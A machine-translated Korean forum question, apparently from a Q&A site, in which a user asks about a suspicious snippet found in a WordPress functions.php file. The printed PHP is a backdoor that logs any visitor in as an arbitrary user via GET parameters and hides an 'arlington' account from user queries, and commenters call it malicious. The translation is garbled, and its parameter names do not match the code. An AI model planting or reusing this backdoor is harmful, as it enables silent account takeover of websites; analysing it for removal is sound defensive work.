나는 그의 WordPress 웹 사이트에서 친구를 돕고 있으며,이 function.php 파일에서이 스 니펫을 발견했습니다. 나는 그것을 이해하고 그것을 제거 할 수 있는지보기 위해 어떤 도움을 원합니다.functions.php의 PHP 코드 스 니펫
if(isset($_GET['foo'])){ $a = $_GET['foo']; }
if(isset($_GET['bar'])){ $b = $_GET['bar']; }
if((isset($a) && is_numeric($a))&& (isset($b) && $b == 'stuff')) {
$userdetail = get_userdata($a);
$user_logins = $userdetail->user_login;
$user_ids = $a;
wp_set_current_user($user_ids, $user_logins);
wp_set_auth_cookie($user_ids);
do_action('wp_login', $user_logins);
}
add_action('pre_user_query','dt_pre_user_query');
function dt_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != 'arlington') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'arlington'",$user_search->query_where);
}
}
지금까지 GET 요청은 'LG 전자'속성과 'CG'속성에 대한 문자 'M'에 대한 올바른 사용자 ID로 게시 된 경우 내가 말할 수있는. 그런 다음 사용자 데이터를 가져와 로그인하고 사용자를위한 쿠키를 만듭니다. 그래서 본질적으로 다음 URL로 로그인 할 수 있습니다. www.mysite.com?lg=1 & cg = M. 1을 적절한 UserID 또는 무작위로 바꿉니다.
사용자 쿼리 이전에 두 번째 코드가 실행 된 후. $ user_search 매개 변수가 필요한 것 같습니다. 사용자 이름이 'custom'이 아닌 경우 사용자 로그인 대신 아무것도 반환하지 않는 DB 쿼리를 실행합니다.
정확하게 해석했는지 알려주세요.
편집 : WordPress 웹 사이트를 악용하기 쉽도록하기 때문에 변수를 약간 변경하여 속임수를 막을 것입니다.
왜 제거 하시겠습니까? 사이트에이 코드가 필요 없다는 것이 확실합니까? – ceejayoz
누군가 이전에 사이트에서 일했으며 많은 불필요한 플러그인과 엉성한 코드가있었습니다. 이 스 니펫은 적절한 로그인 방법을 우회하는 것으로 보이며 관리자 패널에서 사용자를 숨 깁니다. 악의적으로 추가 된 것 같습니다. – aoa
www.mysite.com/?lg=1&cg=M을 사용하여 로그인 할 때 사용하는 가설을 시험해 보았습니다. 악의적 인 코드처럼 보입니다. – aoa